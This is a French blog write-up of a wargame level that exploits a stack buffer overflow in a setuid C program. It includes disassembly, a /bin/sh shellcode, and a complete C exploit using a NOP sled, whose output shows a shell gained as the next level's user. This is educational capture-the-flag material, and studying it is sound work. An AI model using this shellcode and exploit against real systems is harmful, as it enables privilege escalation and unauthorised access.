Niveau 5 : Buffer overflow, part 2

Le niveau 3 n’était pas très réaliste : le code qui lançait un shell était déjà dans le programme, ainsi que le code pour l’appeler, et il ne restait plus qu’à modifier une adresse. Le niveau 5 l’est un peu plus :

level5@io:/tmp/bach$ cat /levels/level05.c 
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

	char buf[128];

	if(argc < 2) return 1;

	strcpy(buf, argv[1]);

	printf("%s\n", buf);	

	return 0;
}

Avant la solution, quelques rappels sur la façon dont les appels de fonction se déroulent en x86. Pour ceux qui ont besoin d’une référence plus complète, je recommande fortement ce bouquin.

Schématiquement, quand on appelle une fonction, plusieurs choses se passent. Évidemment, le programme “saute” vers l’endroit où se trouve le code de la fonction, mais avant cela, il va sauvegarder sur la pile certaines informations : les valeurs des trois registres dits “caller-save” (eax, ecx, edx), ainsi que l’adresse de l’instruction qui suit l’instruction call, afin de pouvoir reprendre au même endroit une fois l’exécution de la fonction terminée (j’appelle cette adresse “adresse de retour”). Enfin, après l’appel, la fonction appelée va sauvegarder la valeur des registres dits “callee-save” (ebp, ebx, edi, esi) qu’elle s’apprête à utiliser. Sauf usage de l’option -fomit-frame-pointer à la compilation, ebp est toujours utilisé pour marquer le début de la frame de la fonction sur la pile, et donc il est toujours sauvegardé. Visuellement, du point de vue de la fonction appelée, ça ressemble à ceci (les adresses vont de bas en haut) :

|                   |     (frame de la fonction appelante)
+-------------------+
| adresse de retour |
+===================+
| ancien ebp        | <- (nouveau) ebp
+-------------------+
|                   |     (frame de la fonction appelée)
| (variables)       |
|                   |
+===================+
|                   |

Notre principal point de référence est la valeur de ebp une fois l’appel effectué. Comme on le voit, elle correspond à l’adresse où est stockée l’ancienne valeur de ebp, et l’adresse de retour est stockée juste après. Regardons ce qui se passe dans notre cas. Comme d’habitude on commence par désassembler :

level5@io:/tmp/bach$ objdump -M intel -d /levels/level05 | nl
[...]
   113	080483b4 <main>:
   114	 80483b4:	55                   	push   ebp
   115	 80483b5:	89 e5                	mov    ebp,esp
   116	 80483b7:	81 ec a8 00 00 00    	sub    esp,0xa8
   117	 80483bd:	83 e4 f0             	and    esp,0xfffffff0
   118	 80483c0:	b8 00 00 00 00       	mov    eax,0x0
   119	 80483c5:	29 c4                	sub    esp,eax
   120	 80483c7:	83 7d 08 01          	cmp    DWORD PTR [ebp+0x8],0x1
   121	 80483cb:	7f 0c                	jg     80483d9 <main+0x25>
   122	 80483cd:	c7 85 74 ff ff ff 01 	mov    DWORD PTR [ebp-0x8c],0x1
   123	 80483d4:	00 00 00 
   124	 80483d7:	eb 3a                	jmp    8048413 <main+0x5f>
   125	 80483d9:	8b 45 0c             	mov    eax,DWORD PTR [ebp+0xc]
   126	 80483dc:	83 c0 04             	add    eax,0x4
   127	 80483df:	8b 00                	mov    eax,DWORD PTR [eax]
   128	 80483e1:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
   129	 80483e5:	8d 85 78 ff ff ff    	lea    eax,[ebp-0x88]
   130	 80483eb:	89 04 24             	mov    DWORD PTR [esp],eax
   131	 80483ee:	e8 e1 fe ff ff       	call   80482d4 <strcpy@plt>
   132	 80483f3:	8d 85 78 ff ff ff    	lea    eax,[ebp-0x88]
   133	 80483f9:	89 44 24 04          	mov    DWORD PTR [esp+0x4],eax
   134	 80483fd:	c7 04 24 24 85 04 08 	mov    DWORD PTR [esp],0x8048524
   135	 8048404:	e8 ab fe ff ff       	call   80482b4 <printf@plt>
   136	 8048409:	c7 85 74 ff ff ff 00 	mov    DWORD PTR [ebp-0x8c],0x0
   137	 8048410:	00 00 00 
   138	 8048413:	8b 85 74 ff ff ff    	mov    eax,DWORD PTR [ebp-0x8c]
   139	 8048419:	c9                   	leave  
   140	 804841a:	c3                   	ret    
   141	 804841b:	90                   	nop
   142	 804841c:	90                   	nop
   143	 804841d:	90                   	nop
   144	 804841e:	90                   	nop
   145	 804841f:	90                   	nop
[...]

Ce qui nous intéresse principalement est l’adresse de buffer, puisque c’est par là qu’on va attaquer. buffer est le premier argument de l’appel à strcpy(), et on voit donc (lignes 129-131) qu’il se trouve à ebp-0x88. Il va donc nous falloir écrire 136 octets dans buffer avant d’atteindre l’adresse ebp, puis encore 4 octets de plus avant d’atteindre l’adresse où est stockée l’adresse de retour. On pourra alors y écrire n’importe quelle adresse, et une fois l’appel à la fonction main() terminé, le programme “sautera” vers cette adresse, et exécutera le code qui s’y trouve.

Mais quel code ? Idéalement, on veut un code qui lance un shell (pour nous permettre de récupérer le mot de passe du niveau suivant). Il n’y a rien de tel dans le programme, donc on doit l’écrire nous-mêmes. On crée pour cela ce qu’on appelle un shellcode ; il s’agit en gros d’un petit bout de code machine qu’on écrit quelque part en mémoire et qu’on se débrouille pour exécuter afin qu’il fasse ce pour quoi on l’a écrit. Comme je suis feignant, j’ai demandé à Google de me donner un shellcode, et j’ai récupéré celui-ci :

unsigned char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"
"\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

Je n’expliquerai pas ici en détail ce qu’il fait, il y a matière à faire un post entier là-dessus (plus tard), l’essentiel est qu’il lance un shell. (Les anglophones pressés pourront facilement le retrouver en demandant à Google, le site d’où il provient donne également d’amples explications.)

On doit donc écrire ce code en mémoire, puis se débrouiller pour l’exécuter. Si on connaît l’adresse où le code est stocké, c’est terminé parce qu’on n’a plus qu’à écrire cette adresse à la place de l’ancienne adresse de retour. On pourrait par exemple écrire dans buffer notre shellcode, puis des octets quelconques pour arriver à 140, puis enfin l’adresse de buffer, ce qui donnerait quelque chose comme ça :

|                   |
+-------------------+
| adresse de buffer | 
+===================+
|                   | <- ebp
| octets            |
| quelconques       |     (frame de main())
+-------------------+
| shellcode         | <- buffer
+-------------------+
| autres variables  |
|                   |
+===================+
|                   |

Le problème, c’est qu’on ne peut pas obtenir l’adresse exacte (absolue) où les divers élément du programme se trouvent pendant qu’il tourne, car le programme tourne setuid, et gdb ne nous permet évidemment pas d’examiner un processus qui appartient à un autre utilisateur. Donc on ne peut pas obtenir l’adresse exacte de buffer.

Pour contourner ce problème, on crée ce qu’on appelle une “luge de NOP” (NOP sledge) : on va écrire tout un tas d’octets 0x90, qui correspondent à l’instruction machine NOP, et mettre notre shellcode juste après. Ainsi, on n’a pas besoin de connaître exactement l’adresse où se trouve le shellcode : il suffit de tomber quelque part à l’intérieur du tas de NOP, et le processeur va “glisser” jusqu’au bout (d’où le nom “NOP sledge“), et exécuter le shellcode qui se trouve après. Visuellement, ça ressemble à ça :

|                   |
+-------------------+
| shellcode         |
+-------------------+
|                   |
|                   |
|                   |
| NOP               |
|                   |
+-------------------+
| adresse de retour | 
+===================+
|                   | <- ebp
| octets            |
| quelconques       |     (frame de main())
|                   |
|                   | <- buffer
+-------------------+
| autres variables  |
|                   |
+===================+
|                   |

Pour ne pas écrire à la main la commande à passer, on crée un programme pour la construire :

level5@io:/tmp/bach$ cat exploit05.c 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b"
"\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char **argv)
{
    int i;
    unsigned int ret;
    char *command, *buf;

    ret = (unsigned int)&i;

    command = malloc(100000);
    memset(command, 0, 100000);
    buf = command;

    strcpy(command, "/levels/level05 \'");
    buf += strlen(command);
    for (i=0; i<36; i++) {
        *((unsigned int *)buf) = ret;
        buf += 4;
    }
    memset(buf, 0x90, 65536);
    buf += 65536;
    memcpy(buf, shellcode, sizeof(shellcode)-1);
    strcat(command, "\'");

    system(command);
    return 0;
}

Pour l’adresse de retour on prend tout simplement l’adresse de la variable i, on a une NOP sledge de 65536 octets, ça devrait faire l’affaire…

level5@io:/tmp/bach$ gcc -o exploit05 exploit05.c
level5@io:/tmp/bach$ ./exploit05 
[...]
sh-4.1$ whoami
level6

Leave a Reply

Your email address will not be published. Required fields are marked *